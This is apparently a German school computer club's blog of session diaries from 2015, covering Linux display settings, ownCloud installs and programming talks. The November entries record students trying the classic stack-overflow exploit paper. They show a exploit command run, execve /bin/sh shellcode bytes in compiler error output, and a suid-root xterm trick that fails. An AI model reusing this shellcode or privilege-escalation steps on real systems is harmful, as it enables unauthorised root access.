Computer-Ag am WvS Blog der Computer-AG am Werner von Siemens Gymnasium Berlin

24. November 2015

24.11.2015

Moritz und Morten sind da.

Der Lernserver geht nicht. Er hat offenbar Probleme beim Runterfahren, deshalb musste Herr Oppermann ihn ausschalten.

Morten schafft es, auf Roberts Linux-vom-Stick den VGA-Modus zu ändern und vorher einzutragen:

rob@rob-System-Product-Name:~$ cvt 1920 1080
# 1920×1080 59.96 Hz (CVT 2.07M9) hsync: 67.16 kHz; pclk: 173.00 MHz
Modeline „1920x1080_60.00“  173.00  1920 2048 2248 2576  1080 1083 1088 1120 -hsync +vsync
rob@rob-System-Product-Name:~$ xrandr –newmode „1920x1080_60.00“  173.00  1920 2048 2248 2576  1080 1083 1088 1120 -hsync +vsync
rob@rob-System-Product-Name:~$ xrandr –output VGA-0 –mode 1920x1080_60.00
rob@rob-System-Product-Name:~$

1920×1080 war vorher nämlich nicht verfügbar.

Dell hat auf aktuellen Rechnern ein Root-CA-Certificat, dass Man-in-the-Middle Attacken erlauben würde.

Robert schließt seine Tabs, u.a.:

file:///home/rob/Schreibtisch/lisp.html – file:///home/rob/lisp.html – der LISP-Interpreter mit Angelo programmiert.

s.a. http://html-ag.wvs-berlin.de/lisp.html.

So installiert man Node.js.

Und so nutzt man JSLint unter Linux von der Kommandozeile.

Irgendwann hatten wir mal eine Fritzboxtest über Angelos Server: https://fritztest.papnet.eu/.

Auf dem Lernserver muss es auch im Firefox Tab-Groups geben, auf dem Linux-vom-Stick aber nicht.

Wir suchen uns bei Google und finden uns.

Wir gucken uns eine Codezeile von Git an.

Am Donnerstag AG um 15:00 wieder

 

 

 

 

 

19. November 2015

19.11.2015

Der Exploit läuft zwar irgendwie mit

[aleph1]$ ./exploit4 2148 600
Using address: 0xbffffb54
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG

Aber es bringt nichts. Angelo meint, dass das alles gefixt ist. Wir haben noch xterm kopiert und mit chmod u+s die suid auf root gesetzt. Bringt aber dennoch keine Root-Shell.

Lernserver geht nicht an …;

17. November 2015

17.11.2015

Filed under: Allgemein,Assembler,C,PHP,Tagesberichte,Termine,Tisch — admin @ 16:00

Morten und Martin sind da. Frank Oppermann macht dankenswerter Weise den Lernserver an. Der war beim letzten Mal irgendwie nicht richtig runtergefahren.

Martin liest ein Paper zu Stackoverflow und Exploits (von 1998 vermutlich). Das Ganze funktioniert schlussendlich mit einem Interrupt (0x80).

Morten programmiert mit PHP etwas, was aus zwei ähnlichen Dateien (beide kaputt), aus Datei 2 Bytes an die Stelle von Datei 1 schreibt, wo in Datei 1 ein 0-byte steht. 0x00 in Hex-Code wohl. Sind glaube ich nur 10 Zeilen Code oder so.

Martin kann Donnerstag erst um kurz nach 16:00 hier sein. Eventuell fangen wir dann erst um 15:00 an, wenn Colin und Julian nicht kommen.

Das Komplieren klappt irgendwie nicht. Nachdem ich noch

#include <getopt.h>
#include <string.h>

in eggshell.c eingebaut habe und eggshell.h nach /usr/bin/ld kopiert habe kommt mit

rob@lernserver:~/exploit_test$ gcc eggshell.c -l shellcode.h

eggshell.c: In function ‘main’:
eggshell.c:60:3: warning: format ‘%x’ expects argument of type ‘unsigned int’, but argument 2 has type ‘long int’ [-Wformat]
/usr/bin/ld: 4: /usr/bin/ld: char: not found
/usr/bin/ld: 5: /usr/bin/ld: char: not found
/usr/bin/ld: 6: /usr/bin/ld: \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b: not found
/usr/bin/ld: 7: /usr/bin/ld: \x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd: not found
/usr/bin/ld: 8: /usr/bin/ld: \x80\xe8\xdc\xff\xff\xff/bin/sh: not found
/usr/bin/ld: 10: /usr/bin/ld: Syntax error: „(“ unexpected
collect2: ld returned 2 exit status

Donnerstag mehr …;

10. November 2015

10.11.2015

Filed under: Allgemein,Assembler,C,Schulnetzwerk,Tagesberichte,Termine,Tisch — admin @ 17:11

Morten ist da, Martin auch, Moritz und Johannes. Johannes will was mit App-Programmierung machen. Martin hat dazu ein Script (für seinen Kurs im letzten Jahr), den er mit einem Google-Drive-Link an uns alle verschickt hat. Er hat auch zwei Bücher dazu, die er mal mitbringen würde. Wir quatschen kurz über eine Studienaufgabe von Martin, mit C und read, write, open und close einen Papierkorb zu programmiern und ich (Robert) frage mich, ob man dazu überhaupt Arbeitsspeicher allozieren muss. Aber read ohne Buffer geht wohl nicht.

Am Donnerstag ist nicht, dafür dann wieder nächsten Dienstag und vermutlich auch nächsten Donnerstag.

7. Oktober 2015

7.10.2015

Leonard und Colin kommen. Wir machen etwas HTML und Javascript und CSS. Frau Spyra hat noch Probleme mit dem Login bei einigen Rechnern und spielt Images ein.

Moritz, Morten und Angelo sind da.

Angelo schafft für Colin 2048, Javascriptspiel. Angelo erklärt Forth.

Moritz sprach von Owncloud und Robert installiert auf dem Lernserver owncloud mit apt-get install owncloud. Ist aber über http://localhost/owncloud/ nicht ansprechbar. Owncloud-Client auch installiert.

Klappt irgendwie nicht. Es müsste eigentlich ein Verzeichns „owncloud“ in /var/www/ geben. Habe aber auch erst die falschen Repositories einbezogen. Nächste Mal mehr vielleicht. https://doc.owncloud.org/server/6.0/admin_manual/installation/installation_source.html

Angelo und Moritz würden am Freitag kommen, deshalb findet die AG Freitag statt.

in usr mit find -name owncloud ist

./lib/i386-linux-gnu/owncloud
./bin/owncloud

30. September 2015

30.9.2015

Heute sind wir drüben im 208er, weil es mit den Rembo-Rechnern nicht so richtig klappt. Es sind auch zwei neue da, Leonard und Colin. Ansonsten Morten, Moritz, Julian, Johannes und Angelo. Und Frau Spyra. Drüben laufen die ganzen Image-Backups, die dauern wohl noch eine Weile.

Wir haben es nicht geschafft, uns per Console/Putty auf logosrv – dem Remboserver – einzuloggen.

Wollte die Fotos der Fehlermeldungen der Rechner im 208er noch hochladen, aber der Upload über Dropbox dauert zu lange. Nächste Mal am Freitag vermutlich.

11. September 2015

11.9.2015

Filed under: Allgemein,Computer,Tagesberichte,Termine,Tisch — admin @ 15:35

Julian ist da. Moritz und Johannes irgendwie nicht. Wir haben lange mit Frau Spyra gesprochen über die IT-Zuständigkeiten und -zustände an der Schule bzw. die Zuständigkeiten des Bezirksamtes und Senats. Außerdem ist Jens wieder da. Über Java und Python, die beiden Sprachen, die jetzt an der Schule gelehrt werden, sprachen wir auch. Auch über die Zukunft vom 206er. Angelo ist wohl in Venedig ;-). Wir reden noch über Handyverträge (maxxim) und neue Handys. Wo die anderen geblieben sind, weiß ich nicht. Herr Dr. Rehnert fragte, was er für die Schule als Zeiten für die AG notieren könnte, ich habe ihm gesagt, Mittwoch und Freitag ab der 8. Stunde.

8. Juli 2015

8.7.2015

Heute kein Internet, nur über Hotspot mit Handy. Morten, Julian, Moritz, Johannes und Angelo sind da. Letzte Mal vor den Ferien. Angelo hat jetzt seine ToolPS2.

Jetzt mal wegen Termin Grillen, wer ist wann weg?

Angelo: ab 30.8.

Morten: irgendwann im August drei Wochen, ab 8.8. (bis 29.8.)

Julian: weiß noch nicht, vermutlich ab 8.8.

Moritz: nicht weg

Johannes: nicht weg.

Wir grillen am 25.7. ab 15:00 ist jetzt der Plan. Angelo hat Schwierigkeiten „seine Geometrie“ zu finden bei GTA3.

Morten versucht was mit einem Addon für Chrome mit Javascript.

Bis nach den Ferien …

1. Juli 2015

1.7.2015

Filed under: Allgemein,Lernserver,Schulnetzwerk,Tagesberichte,Termine — admin @ 14:46

Morten und Moritz sind da. Es wird langsam heiß, am Wochenende weit über 30 Grad. Heute ist das vorletzte Mal vor den Sommerferien. Nächste Woche, am 8.7.2015, dann das letzte Mal.

Morten fummelt an seinem Call of Duty 4 Server rum.

Moritz hat sich zu Hause mit einem Mini TX Board (Hardwareraid fähig und EFI-Boot] und einem Intel Celeron T Serie g1840t und einem Picopsu Netzteil sowie 4GB RAM und einem RAID mit  Archlinux (cooler software Packager) den Mediaserver Kodi eingerichtet. Da kann man dann mit der Fernbedienung des TV-Gerätes auch das Abspielen steuern. DASH wird leider vom Mediaserver nicht unterstützt.

Moritz berichtet aus dem Studium, Hardwaredekodierer für H.264.

Wir quatschen noch kurz kritisch(!) über „Deutsche Gotterkenntnis“ (Ludendorff).

 

 

 

24. Juni 2015

24.6.2015

Morten ist da und macht Hamachi. Paul ist auch da und hat sich ein Linux für USB-Stick geholt und musste wieder los. Morten ist mit Frau Spyra los. Angelo und Moritz sind auch da. Angelo spricht von seiner Bachelorarbeit und seinen WLAN-Treiber für 9Front. Julian ist auch gekommen.

Robert stolpert über Markdown (bei der Sichtung diverser CMSe). Wikisyntax ist irgendwie anders.

Julian programmiert zur Zeit auch mit Go.

Julian und Moritz sprachen über Swicht und Bridges. Angelo kommt mit Stackenblochen.

Morten hat Hamachi eingerichtet.

Nächste Woche ganz normal.

 

 

« Newer PostsOlder Posts »